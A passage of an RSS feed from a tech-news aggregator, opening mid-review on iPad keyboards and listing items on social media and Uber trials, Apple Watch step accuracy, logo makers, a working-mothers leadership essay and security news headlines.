Apple: Has a unique USB-C pass-through charging port in the hinge. This lets you charge your iPad through the keyboard while leaving the iPad’s main USB-C port free for accessories like hard drives or monitors.



GOOJODOQ: Does not support pass-through charging. The USB-C port on the keyboard is only for charging the keyboard itself. This means if you need to charge your iPad and use a USB-C hub simultaneously, you might need a dongle.




Summary Comparison Table



FeatureApple Magic KeyboardGOOJODOQ KeyboardPrice~$299~$60 - $90ConnectionSmart Connector (Instant)Bluetooth (Sleep delay)ChargingPowered by iPadSeparate USB-C CablePass-through ChargingYes (Hinge port)NoBacklightWhite (Auto-adjust)RGB (Customizable)Function RowNo (on Air models)Yes (Volume, Brightness, etc.)TrackpadGlass (Premium)Plastic (Good enough)WeightHeavyHeavier



Pros and Cons at a Glance



FeatureApple Magic KeyboardGOOJODOQ Magic KeyboardProsSmart Connector: Instant connection, never needs charging.Glass Trackpad: Flawless precision and gesture support.Pass-Through Charging: Frees up the iPad's main USB-C port.Typing Feel: Premium, quiet, and stable scissor keys.Price: Costs significantly less (~$60–$90).Function Row: Dedicated keys for volume, brightness, etc.Backlighting: Fun RGB options vs. plain white.Durability: Harder material resists peeling better than Apple's.ConsPrice: Extremely expensive ($299).Material: Soft silicone wears out and peels over time.No Function Row: Missing on iPad Air models.Limited Angles: Screen only tilts back so far.Bluetooth Lag: "Sleep" mode causes a 1-2 second wake-up delay.Separate Battery: Must be charged separately via USB-C.Trackpad: Plastic surface feels less smooth/precise.Bulk: Thicker and heavier than the Apple version.



Final Verdict



Buy the Apple Magic Keyboard if:



You want the most seamless experience possible. If you are constantly opening and closing your iPad to type quick notes, the "instant on" nature of the Smart Connector is invaluable. The glass trackpad is also essential if you plan to use the iPad as your primary computer for 8+ hours a day.



Buy the GOOJODOQ Magic Keyboard if:



You are a student looking for accessories to help your iPad survive university life without breaking the bank. For less than 1/3 of the price, you get a keyboard that types well, offers a dedicated function row (which Apple lacks), and protects your device just as well. The minor inconvenience of Bluetooth sleep lag is a fair trade-off for saving over $200.]]></content:encoded>
</item>
<item>
<title><![CDATA[Instagram and YouTube Face California Trial Over Teen Mental Health Harm]]></title>
<description><![CDATA[A California state court trial begins this week that puts Instagram and YouTube under direct legal scrutiny over claims that their app designs harmed a young user’s mental health. The case could reshape how U.S. courts treat lawsuits against major social media platforms.



According to court fil...]]></description>
<link>https://tsecurity.de/de/3279182/ios-mac-os/instagram-and-youtube-face-california-trial-over-teen-mental-health-harm/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3279182/ios-mac-os/instagram-and-youtube-face-california-trial-over-teen-mental-health-harm/</guid>
<pubDate>Tue, 10 Feb 2026 13:09:50 +0100</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A California state court trial begins this week that puts Instagram and YouTube under direct legal scrutiny over claims that their app designs harmed a young user’s mental health. The case could reshape how U.S. courts treat lawsuits against major social media platforms.



According to court filings, a 20-year-old woman identified as K.G.M. says she became addicted to Instagram and YouTube at a young age due to attention-driven design features. She claims the apps worsened her depression and led to suicidal thoughts. She is asking the court to hold the companies responsible for those harms.



Reuters reports that the lawsuit targets Meta Platforms, which owns Instagram, and Alphabet, which owns YouTube. TikTok and Snap settled with the plaintiff before the trial began.



The woman’s lawyers argue that the companies acted negligently, failed to warn users about mental health risks, and played a substantial role in her injuries. If the jury agrees, it will decide on damages, including possible punitive penalties.



Meta and Google plan to counter these claims by pointing to other factors in the plaintiff’s life and highlighting their youth safety efforts. They also rely on U.S. legal protections that usually shield platforms from liability for user content.



A verdict against the companies could influence thousands of similar lawsuits already pending across the United States and add momentum to global efforts aimed at protecting children from social media harm.]]></content:encoded>
</item>
<item>
<title><![CDATA[How Accurate Is Apple Watch Step Counting? We Tested It]]></title>
<description><![CDATA[For millions of users, closing the rings is a daily ritual. But while we obsess over calories and standing hours, the humble step count remains the universal metric for activity. Whether you’re aiming for the elusive 10,000 steps or just trying to stay active, one question always lingers: Can you...]]></description>
<link>https://tsecurity.de/de/3279168/ios-mac-os/how-accurate-is-apple-watch-step-counting-we-tested-it/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3279168/ios-mac-os/how-accurate-is-apple-watch-step-counting-we-tested-it/</guid>
<pubDate>Tue, 10 Feb 2026 13:09:29 +0100</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[For millions of users, closing the rings is a daily ritual. But while we obsess over calories and standing hours, the humble step count remains the universal metric for activity. Whether you’re aiming for the elusive 10,000 steps or just trying to stay active, one question always lingers: Can you actually trust the number on your wrist?



Apple claims its algorithms are industry-leading, combining accelerometer data with gyroscope readings to distinguish a true step from a wave of the hand. To verify this, we put the Apple Watch (Series 9 and Ultra 2) through a series of controlled and real-world tests to see how it stacks up against the most reliable counter of all: the human brain.



Table of contentsThe Short AnswerThe Methodology: How We TestedThe ResultsTest 1: The 1,000 Step WalkTest 2: The Ghost Step TestTest 3: The Stroller ProblemWhy Your Count Might Be Off (And How to Fix It)1. Calibration is Key2. The Loose Band Effect3. Height and Weight DataConclusion



The Short Answer



In our testing, the Apple Watch was exceptionally accurate (within 1-2%) during standard walking and running. However, like all wrist-based trackers, it struggles in specific scenarios, specifically when your arm is stationary (like pushing a stroller) or during erratic hand movements (like washing dishes).



The Methodology: How We Tested



To get a clear picture of accuracy, we didn't just wear it for a day and guess. We performed three specific tests:




The Manual Count (Controlled): We walked exactly 1,000 steps, counting manually with a mechanical tally counter, while wearing the Apple Watch on a calibrated setting.



The Ghost Step Test (Sedentary): We monitored the step count while performing non-walking activities like driving, typing, and cooking to check for false positives.



The Stroller Test (Stationary Arm): We walked a measured mile while pushing a weighted cart to simulate a stroller or shopping trolley.




The Results



Test 1: The 1,000 Step Walk



This is the gold standard for tracker accuracy. We walked a flat, consistent route at a moderate pace.







Actual Steps: 1,000 Apple Watch Recorded: 1,003 Accuracy: ~99.7%



Verdict: In a natural walking scenario with a normal arm swing, the Apple Watch is nearly perfect. It successfully filters out small hesitations and is consistent with medical-grade pedometers.



Test 2: The Ghost Step Test



One of the biggest complaints with early fitness trackers was that they would reward you with steps for driving over a bumpy road or brushing your teeth.







Activity: 1 hour of highway driving + 30 minutes of typing. Actual Steps: ~20 (walking to/from car). Apple Watch Recorded: 38 Error: +18 steps



Verdict: The Apple Watch’s sensor fusion (using GPS and gyroscope data alongside the accelerometer) is excellent at understanding that you are sitting still, even if your hands are moving. While it added a negligible amount of steps, it didn't log thousands of false steps like older competitors often did.



Test 3: The Stroller Problem



This is the Achilles' heel of wrist-based wearables. Since the watch relies heavily on arm swing to detect cadence, holding your arm static (on a stroller handle, lawnmower, or shopping cart) can confuse the sensors.







Actual Steps: ~2,100 (approx. 1 mile) Apple Watch Recorded: 1,240 Accuracy: ~59%



Verdict: This was the only major failure. Because the wrist wasn't moving back and forth, the watch missed nearly 40% of the steps. Pro Tip: If you are pushing a stroller, put the watch in your pocket (where it can feel your leg movement) or strap it to your ankle for that specific walk to get full credit.



Why Your Count Might Be Off (And How to Fix It)



If you feel your numbers are consistently wrong, it’s likely not a hardware failure. Here are the most common culprits:



1. Calibration is Key



Apple recommends a calibration walk to teach the watch your specific stride length. How to do it: Go to a flat outdoor area with clear GPS reception. Open the Workout app and start an Outdoor Walk for at least 20 minutes. This syncs your GPS distance with your arm swing cadence.







2. The Loose Band Effect



If the watch slides up and down your wrist, the heart rate sensor and accelerometer lose contact, leading to erratic data. The band should be snug, not tight, but secure enough that it doesn't slide when you shake your wrist.







3. Height and Weight Data



The watch uses your height to estimate your stride length when GPS isn't available (like on a treadmill). Ensure your health profile in the Watch app is up to date.



Conclusion



So, is the Apple Watch accurate? Yes. For 95% of users, it is one of the most reliable tools available for tracking daily activity. It is smart enough to ignore your morning commute and sensitive enough to catch a brisk walk to the coffee shop.



Just remember: if you're pushing a shopping cart, don't be surprised if your watch thinks you're slacking off.]]></content:encoded>
</item>
<item>
<title><![CDATA[Does a $250 alarm clock actually make you wake up better? My verdict after a week]]></title>
<description><![CDATA[Dreamie is the smart alarm clock newcomer that wants to get you off your phone and to sleep.]]></description>
<link>https://tsecurity.de/de/3278147/hacking/does-a-250-alarm-clock-actually-make-you-wake-up-better-my-verdict-after-a-week/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3278147/hacking/does-a-250-alarm-clock-actually-make-you-wake-up-better-my-verdict-after-a-week/</guid>
<pubDate>Mon, 09 Feb 2026 21:05:44 +0100</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Dreamie is the smart alarm clock newcomer that wants to get you off your phone and to sleep.]]></content:encoded>
</item>
<item>
<title><![CDATA[Pirate Bay founder wanted for Danish hack]]></title>
<description><![CDATA[Gottfrid Svartholm, one of the original founders of The Pirate Bay and currently awaiting a verdict for the hack of Logica in Sweden, is now wanted for another hack in Denmark: this time on CSC.]]></description>
<link>https://tsecurity.de/de/3269310/it-security-nachrichten/pirate-bay-founder-wanted-for-danish-hack/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3269310/it-security-nachrichten/pirate-bay-founder-wanted-for-danish-hack/</guid>
<pubDate>Fri, 06 Feb 2026 14:09:46 +0100</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Gottfrid Svartholm, one of the original founders of The Pirate Bay and currently awaiting a verdict for the hack of Logica in Sweden, is now wanted for another hack in Denmark: this time on CSC.]]></content:encoded>
</item>
<item>
<title><![CDATA[Uber found liable for sexual assault in first of thousands of similar lawsuits]]></title>
<description><![CDATA[A federal jury in Phoenix has found Uber to be liable for the sexual assault of one of its passengers, potentially setting a precedent for more than 3,000 similar cases consolidated in US federal court. As part of the verdict, Uber has been ordered to pay $8.5 million in damages to the victim, Ja...]]></description>
<link>https://tsecurity.de/de/3267586/it-nachrichten/uber-found-liable-for-sexual-assault-in-first-of-thousands-of-similar-lawsuits/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3267586/it-nachrichten/uber-found-liable-for-sexual-assault-in-first-of-thousands-of-similar-lawsuits/</guid>
<pubDate>Fri, 06 Feb 2026 14:01:32 +0100</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A federal jury in Phoenix has found Uber to be liable for the sexual assault of one of its passengers, potentially setting a precedent for more than 3,000 similar cases consolidated in US federal court. As part of the verdict, Uber has been ordered to pay $8.5 million in damages to the victim, Jaylynn Dean, […]]]></content:encoded>
</item>
<item>
<title><![CDATA[Police Use of Facial Recognition Ruled Unlawful in World-First Case]]></title>
<description><![CDATA[Liberty celebrates verdict but South Wales Police may continue trials]]></description>
<link>https://tsecurity.de/de/3261064/it-security-nachrichten/police-use-of-facial-recognition-ruled-unlawful-in-world-first-case/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3261064/it-security-nachrichten/police-use-of-facial-recognition-ruled-unlawful-in-world-first-case/</guid>
<pubDate>Fri, 06 Feb 2026 13:07:04 +0100</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Liberty celebrates verdict but South Wales Police may continue trials]]></content:encoded>
</item>
<item>
<title><![CDATA[Verdict Reached in Josh Duggar Case]]></title>
<description><![CDATA[Reality TV star found guilty of child sexual abuse material charges]]></description>
<link>https://tsecurity.de/de/3258739/it-security-nachrichten/verdict-reached-in-josh-duggar-case/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3258739/it-security-nachrichten/verdict-reached-in-josh-duggar-case/</guid>
<pubDate>Fri, 06 Feb 2026 12:41:56 +0100</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Reality TV star found guilty of child sexual abuse material charges]]></content:encoded>
</item>
<item>
<title><![CDATA[Uber found liable for sexual assault by driver and ordered to pay victim $8.5m]]></title>
<description><![CDATA[Verdict could influence more than 3,000 similar cases against ride-hailing companyA federal jury in Phoenix ordered Uber on Thursday to pay $8.5m after finding the company liable in a lawsuit brought by a woman who said she was sexually assaulted by a driver. The verdict could influence thousands...]]></description>
<link>https://tsecurity.de/de/3256808/it-nachrichten/uber-found-liable-for-sexual-assault-by-driver-and-ordered-to-pay-victim-85m/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3256808/it-nachrichten/uber-found-liable-for-sexual-assault-by-driver-and-ordered-to-pay-victim-85m/</guid>
<pubDate>Fri, 06 Feb 2026 10:32:57 +0100</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Verdict could influence more than 3,000 similar cases against ride-hailing company</p><p>A federal jury in Phoenix ordered Uber on Thursday to pay $8.5m after finding the company liable in a lawsuit brought by a woman who said she was sexually assaulted by a driver. The verdict could influence thousands of similar cases against the ride-hailing company.</p><p>The case, brought by plaintiff Jaylynn Dean, was the first trial of more than 3,000 similar lawsuits against Uber that have been consolidated in US federal court. So-called bellwether trials are used to test legal theories and help gauge the value of claims for possible settlements. The jury found that the driver was an agent of Uber, holding the company responsible for his actions. They awarded Dean $8.5m in compensatory damages but declined to award punitive damages. Attorneys for Dean had sought more than $140m in damages.</p> <a href="https://www.theguardian.com/technology/2026/feb/05/uber-liable-sexual-assault">Continue reading...</a>]]></content:encoded>
</item>
<item>
<title><![CDATA[False Negatives Are a New SOC Headache. Here’s the Fast Way to Fix It ]]></title>
<description><![CDATA[False negatives are becoming the most expensive “quiet” failure in SOCs. In 2026, AI-generated phishing and multi-stage malware chains are built to look clean on the outside, behave normally at first, and only reveal intent after real interaction. The result is brutal for security leaders: real a...]]></description>
<link>https://tsecurity.de/de/3253452/it-security-nachrichten/false-negatives-are-a-new-soc-headacheheresthe-fast-way-to-fix-it/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3253452/it-security-nachrichten/false-negatives-are-a-new-soc-headacheheresthe-fast-way-to-fix-it/</guid>
<pubDate>Wed, 04 Feb 2026 19:05:41 +0100</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>False negatives are becoming the most expensive “quiet” failure in SOCs. In 2026, AI-generated phishing and multi-stage malware chains are built to look clean on the outside, behave normally at first, and only reveal intent after real interaction. The result is brutal for security leaders: real attacks get labeled “benign,” “low risk,” or “no verdict,” and the […]</p>
<p>The post <a href="https://cybersecuritynews.com/false-negatives-are-a-new-soc-headache-heres-the-fast-way-to-fix-it/">False Negatives Are a New SOC Headache. Here’s the Fast Way to Fix It </a> appeared first on <a href="https://cybersecuritynews.com/">Cyber Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Women and working parents: Finding a way to turn guilt into growth]]></title>
<description><![CDATA[Leadership didn’t begin for me in a meeting room. It began years earlier, when my family fled our home during political unrest.



We had to rebuild from nothing. My father couldn’t work for more than a decade and my mother held together a large joint household in a culture where a woman running ...]]></description>
<link>https://tsecurity.de/de/3252742/it-security-nachrichten/women-and-working-parents-finding-a-way-to-turn-guilt-into-growth/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3252742/it-security-nachrichten/women-and-working-parents-finding-a-way-to-turn-guilt-into-growth/</guid>
<pubDate>Wed, 04 Feb 2026 14:06:08 +0100</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Leadership didn’t begin for me in a meeting room. It began years earlier, when my family fled our home during political unrest.</p>



<p>We had to rebuild from nothing. My father couldn’t work for more than a decade and my mother held together a large joint household in a culture where a woman running everything — and a man unable to work — invited constant judgment. I didn’t understand her exhaustion then. I just wanted her time. Today, I understand the leadership embedded in her survival. It taught me that real strength is often quiet, uncelebrated and invisible.</p>



<p>I carried that lesson long before I stepped into any workplace.</p>



<p>But this story is more than personal history. It shaped a realization that has followed me throughout my career in technology: guilt is not the opposite of leadership — it is often the quiet force that shapes it. For many working mothers, especially in high — stakes technical roles, guilt becomes an unwanted companion. Yet in my journey from developer to architect, I learned that guilt — when examined rather than suppressed — can be transformed into clarity, connection and more grounded decision — making.</p>



<p>This article introduces what I call the Guilt-to-Clarity Leadership Model: a set of practices leaders can use to navigate the emotional dualities of ambition and caregiving, without compromising either.</p>



<h2 class="wp-block-heading">Learning to belong when you feel behind</h2>



<p>When I moved to Mumbai, India, for graduate college, the city felt impossibly competitive. I believed everyone was smarter than me. What carried me through were two people I didn’t yet recognize as mentors: a roommate who helped me study and my brother, who taught me resilience whenever I doubted myself.</p>



<p>Their support wasn’t formal mentorship. It was a connection at the moment I needed it most.</p>



<p>Research from the Center for Talent Innovation shows that people with strong developmental relationships are more likely to feel a sense of belonging and perform better. I was living that truth before I had a word for it. The experience taught me a foundational leadership principle: Belonging isn’t created by confidence; it’s created by connection.</p>



<h2 class="wp-block-heading">The leaders who made it safe to be human</h2>



<p>This pattern continued at work. Some of the most influential leaders in my career reshaped how I understood strength and vulnerability.</p>



<p>I remember one early day in my career when I broke down crying in front of a senior leader — something every article warns women never to do. Instead of judging me, he said:</p>



<p>“Emotional expression — including tears — is part of authentic leadership. It requires no apology.”</p>



<p>At that particular moment, I experienced psychological safety outside of theory. <a href="https://www.toolshero.com/psychology/psychological-safety/" rel="nofollow">Amy Edmondson defines psychological safety as a climate where people feel safe expressing concerns and taking risks without fear of embarrassment</a>. I learned what that meant not from a diagram, but from a leader who chose empathy over performance theater.</p>



<p>Throughout my journey, leaders who offered honest feedback, protected my growth and encouraged courage — without asking me to harden myself — shaped my understanding of leadership. They taught me that vulnerability is not the opposite of competence. It is the foundation of trust.</p>



<h2 class="wp-block-heading">When success amplifies guilt</h2>



<p>As my career advanced — from developer to architect — my personal life expanded, too: marriage, children, leadership roles. With every step forward, pride came with an unexpected companion: guilt.</p>



<p>I wasn’t the mom who brought elaborate snacks to school. I wasn’t the mom who could volunteer at 2 p.m. I was the mom with a laptop open and a release deadline in the background. Every professional achievement made the guilt louder.</p>



<p>Research across psychology and organizational behavior consistently shows that working mothers carry a disproportionate share of work-family guilt — often unrelated to actual parenting outcomes. A 2022 study by Aarntzen and colleagues found that <a href="https://pmc.ncbi.nlm.nih.gov/articles/PMC10087844/" rel="nofollow">women who internalize traditional gender expectations experience significantly higher guilt as their careers advance</a>.</p>



<p>The guilt didn’t diminish my ambition, but it constantly tried to redefine it.</p>



<h2 class="wp-block-heading">Architecting systems while raising humans</h2>



<p>My work as an architect requires navigating ambiguity, protecting long-term system integrity and making tradeoffs visible. Parenting requires the same skills — only with higher stakes and fewer guardrails.</p>



<p>Architecture eventually taught me something life had been signaling all along: perfection is impossible, but clarity is not. The more intentional I became about architecting systems, the more intentional I became about architecting my life.</p>



<h3 class="wp-block-heading">The power of a trust circle</h3>



<p>One of the most important lessons I’ve learned is that careers — especially for women in demanding, male-dominated fields — cannot be built alone.</p>



<p>Over time, I built a circle of colleagues, mentors and friends I could call when everything felt overwhelming. This wasn’t networking for visibility. It was connection for survival — and ultimately, the foundation that helped me thrive.</p>



<p>Herminia Ibarra’s research on leadership identity transitions emphasizes that <a href="https://herminiaibarra.com/the-authenticity-paradox/" rel="nofollow">leaders grow when they surround themselves with people who help them experiment with new versions of themselves</a>. That’s what my trust circle offered me: room to evolve.</p>



<p>My circle gave me:</p>



<ul class="wp-block-list">
<li>Honest, nonjudgmental feedback</li>



<li>Guidance during high-stakes decisions</li>



<li>Safety when doubts felt heavy</li>



<li>Perspective when I forgot my own progress</li>
</ul>



<p>Competence builds credibility. Connection builds possibility.</p>



<h3 class="wp-block-heading">The moment that reframed my guilt</h3>



<p>On a particularly difficult day, after criticism at work had shaken me, my 8-year-old daughter whispered while I was still on the call:</p>



<p>“Don’t believe what they said. I know no one can do it better than you.”</p>



<p>That moment reframed everything.</p>



<p>Children learn not from our perfection, but from our persistence. They learn confidence not from our constant availability, but from watching us pursue meaningful work with integrity. The guilt didn’t disappear after that — but it stopped defining me. It became evidence of care — a sign that I was navigating two worlds that both mattered deeply.</p>



<h2 class="wp-block-heading">The guilt-to-clarity leadership model</h2>



<p>Leading effectively while navigating the emotional dualities of career and caregiving requires more than resilience. It requires a blueprint built with the same rigor we apply to technical systems — one that aligns ambition with humanity instead of forcing a tradeoff between them.</p>



<h3 class="wp-block-heading">1. Lead with clarity, not perfection</h3>



<p>Ambition is sustainable only when priorities are explicit. For years I treated everything at work and at home as equally urgent. It only created exhaustion. Architecture taught me what life eventually reinforced: every decision is a tradeoff. When I applied that rigor personally, the noise fell away. Some days required deep focus; others required me at home. The difference wasn’t perfection: it was intention.</p>



<h3 class="wp-block-heading">2. Build a trust circle early</h3>



<p>Leadership is never a solo act. You grow faster when you surround yourself with people who support your evolution, not just your output. My trust circle — mentors, peers and friends — became my psychological safety net. They gave me clarity when I felt overwhelmed and perspective when I couldn’t see my own progress. The circle doesn’t need to be big, just honest and intentional.</p>



<h3 class="wp-block-heading">3. Treat vulnerability as a strength</h3>



<p>Crying in front of a senior leader didn’t diminish me — it created trust. Vulnerability is often framed as a risk, especially for women in technical roles, but it’s a powerful leadership capability. When you allow yourself to be seen, you build connections and strengthen psychological safety for others. Great leaders don’t avoid faltering — they model how to recover.</p>



<h3 class="wp-block-heading">4. Use escalation as stewardship, not surrender</h3>



<p>Escalation isn’t giving up — it’s responsible leadership. As an architect, my job is to protect long-term system integrity, not carry every burden alone. Raising issues early prevents silent problems from becoming crises. Escalation, done with clarity, creates alignment, distributes accountability and helps teams look ahead rather than react.</p>



<h3 class="wp-block-heading">5. Redefine guilt as evidence of care</h3>



<p>Guilt isn’t a flaw — it’s proof you care about competing priorities that both matter. Instead of treating guilt as a verdict, use it as a signal: What deserves attention now? What can wait? When guilt guides decisions rather than shrinking ambition, it becomes clarity, not constraint.</p>



<h3 class="wp-block-heading">6. Speak up even when it feels uncomfortable</h3>



<p>Your voice isn’t rebellion — it’s responsibility. Rooms get better when you articulate truths others hesitate to name. Speaking up isn’t about volume; it’s about clarity and intent. In both organizations and families, people thrive when women voice what matters with conviction, not caution.</p>



<h2 class="wp-block-heading">What I want every working parent and every leader to remember</h2>



<p>You can be ambitious and nurturing.</p>



<p>You can lead teams and raise children without apology.</p>



<p>You can carry guilt and still lead with clarity and compassion.</p>



<p>Your humanity is not a liability.  It is one of the greatest leadership assets you have.</p>



<p><strong>This article is published as part of the Foundry Expert Contributor Network.<br><a href="https://www.cio.com/expert-contributor-network/">Want to join?</a></strong></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Best Logo Makers for macOS Users in 2026]]></title>
<description><![CDATA[Whether you’re launching a new project from your MacBook or refining a brand on macOS Pro hardware, the right logo generator can make the difference between “meh” and “memorable.” In 2026, tools range from simple drag‑and‑drop editors to sophisticated AI logo generator platforms that help you ide...]]></description>
<link>https://tsecurity.de/de/3249932/ios-mac-os/best-logo-makers-for-macos-users-in-2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3249932/ios-mac-os/best-logo-makers-for-macos-users-in-2026/</guid>
<pubDate>Tue, 03 Feb 2026 10:06:57 +0100</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Whether you’re launching a new project from your MacBook or refining a brand on macOS Pro hardware, the right logo generator can make the difference between “meh” and “memorable.” In 2026, tools range from simple drag‑and‑drop editors to sophisticated AI logo generator platforms that help you ideate and customize at lightning speed. Below, we cover the top options that work seamlessly in Safari, Chrome, and desktop workflows, from beginner needs to pros looking for export‑ready assets.



Table of contents1. BrandCrowd – Best All‑Around Logo Maker for macOSWhy We Recommend ItPricingVerdict2. Canva Logo Maker – Flexible and Familiar Design HubWhy We Recommend ItPricingVerdict3. Adobe Express – Creative Control With Adobe IntegrationWhy We Recommend ItPricingVerdict4. Looka – Guided Logo Creation for Fast ResultsWhy We Recommend ItPricingVerdict5. Wix Logo Maker – Quick Integration With Website WorkflowsWhy We Recommend ItPricingVerdictWrap‑Up



1. BrandCrowd – Best All‑Around Logo Maker for macOS







BrandCrowd earns top marks for macOS users thanks to its massive template library and strong user satisfaction, with nearly 10,000 reviews and a ~4.7/5 rating on Trustpilot. It’s more than a logo tool; it’s a full brand suite that scales with your needs.



Why We Recommend It



BrandCrowd’s interface makes it simple to generate hundreds of professional logo options quickly and then refine them without design expertise. Built‑in voting lets teams compare favorites, and export options cover vector formats (SVG, EPS, PDF) and social‑ready files. Its combination of breadth (vast templates) and polish (high‑quality results) makes it ideal for solo founders and SMBs alike.



Pricing




Free tier: Full logo downloads in multiple formats, free site builder, virtual business card, and design tools.



Paid plans:

Starter: ~$5/month (billed annually)



Value: ~$6/month (billed annually)Premium: ~$7/month (billed annually)All paid tiers include unlimited edits, commercial rights, high‑resolution assets, and access to every tool.






Verdict



BrandCrowd hits the sweet spot for macOS users who want professional logos without juggling complex design tools. Its free–to–premium path means you can start for free and scale up as your brand grows.



2. Canva Logo Maker– Flexible and Familiar Design Hub







Canva’s logo maker is ideal if you value an ecosystem that goes beyond logos into broader content creation. In addition to its drag‑and‑drop logo workflow, you get seamless access to presentations, social media graphics, and marketing templates.



Why We Recommend It



Canva blends a beginner‑friendly logo generator with deep ties to a versatile design suite. Its intuitive editor and vast library of assets let macOS users iterate fast and maintain brand consistency across all channels.



Pricing




Free plan: Unlimited canvas access, basic logos, and exports.



Pro: Around $15/month or ~ $120/year with premium templates, brand kit tools, and SVG export included.




Verdict



Canva is perfect for users who want their logo creation as part of a broader content workflow. It’s especially valuable if you already use Canva for everyday designs and want everything under one roof.



3. Adobe Express – Creative Control With Adobe Integration











If you’re already in the Adobe ecosystem, Adobe Express brings an AI logo generator into a creative suite with access to Adobe Stock assets, layered editing, and brand asset management. It’s less logo‑specialized than BrandCrowd, but it gives creatives more design freedom.



Why We Recommend It



Adobe Express lets you start with templates and then fine‑tune typography, spacing, and composition with tools familiar to anyone who’s used Adobe products. Its integration with other Adobe apps makes it a great stepping‑stone for more advanced design work.



Pricing




Free tier: Access to basic templates and editing.



Premium: Around $9.99/month or ~$99.99/year for full templates, assets, and expanded export options.




Verdict



Adobe Express is ideal for macOS users who want hands‑on control and plan to grow into more complex design tasks over time.



4. Looka – Guided Logo Creation for Fast Results







Looka offers a structured logo generator experience that walks you through a preference‑based flow and then delivers cohesive logo options. It’s especially useful when you want polished results with minimal manual tinkering.



Why We Recommend It



Looka’s guided process helps narrow down style directions quickly. The platform’s preview features (e.g., business cards, social headers) show how a logo performs in real contexts, which is handy when you need quick buy‑in from clients or partners.



Pricing



Looka typically charges for logo downloads and brand kits rather than offering a free tier; prices vary depending on the package you choose (one‑time or subscription).



Verdict



Best for startups and solo founders who want clean, modern logo options fast without wrestling with full design suites.



5. Wix Logo Maker – Quick Integration With Website Workflows







If your end goal is a live site, Wix Logo Maker pairs your logo with a broader Wix branding workflow. It uses AI to generate tailored logo options and then lets you customize them in a web‑based editor.



Why We Recommend It



Wix’s approach makes it easy to maintain visual continuity from your logo to your website theme and style. AI suggestions give you a starting point, and customization lets you adjust fonts, icons, and layouts before export.



Pricing



Wix offers both one‑time payments for just logo files (e.g., ~$49–$99) and Logo + Website bundles starting around $11–$24/month, combining logo ownership with hosted site services.



Verdict



A great fit when your brand launch includes a Wix‑based website. It’s straightforward and functional, though seasoned designers may desire deeper customization tools.



Wrap‑Up



For macOS users in 2026, the right logo maker depends on how you work: BrandCrowd sits at the top for pure branding value and flexibility; Canva blends logo creation with broader content design; Adobe Express rewards creative refinement; Looka offers fast guided outcomes; and Wix Logo Maker connects branding to your site. 



Each tool brings unique strengths to the table, so choose based on how much control and crossover into other assets you need.]]></content:encoded>
</item>
<item>
<title><![CDATA[Ex-Google Engineer Convicted of Stealing Google’s AI Secrets For China]]></title>
<description><![CDATA[A federal jury has convicted Linwei Ding, 38, a former Google software engineer, on charges of economic espionage and trade secret theft. The conviction stems from Ding’s systematic theft of over 2,000 pages of confidential Google documentation on artificial intelligence intended to benefit the P...]]></description>
<link>https://tsecurity.de/de/3244277/it-security-nachrichten/ex-google-engineer-convicted-of-stealing-googles-ai-secrets-for-china/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3244277/it-security-nachrichten/ex-google-engineer-convicted-of-stealing-googles-ai-secrets-for-china/</guid>
<pubDate>Fri, 30 Jan 2026 15:49:46 +0100</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>A federal jury has convicted Linwei Ding, 38, a former Google software engineer, on charges of economic espionage and trade secret theft. The conviction stems from Ding’s systematic theft of over 2,000 pages of confidential Google documentation on artificial intelligence intended to benefit the People’s Republic of China (PRC). The jury reached its verdict after […]</p>
<p>The post <a href="https://cybersecuritynews.com/ex-google-engineer-convicted/">Ex-Google Engineer Convicted of Stealing Google’s AI Secrets For China</a> appeared first on <a href="https://cybersecuritynews.com/">Cyber Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[BrandCrowd Review for macOS: AI Logo Generator & Template Tools Tested]]></title>
<description><![CDATA[Designing a logo that actually works on websites, social profiles, business cards, and signage, is harder than it sounds. The problem isn’t creativity; it’s execution: ensuring balance, readability, and adaptability without a background in design. BrandCrowd approaches this by blending template d...]]></description>
<link>https://tsecurity.de/de/3243927/ios-mac-os/brandcrowd-review-for-macos-ai-logo-generator-template-tools-tested/</link>
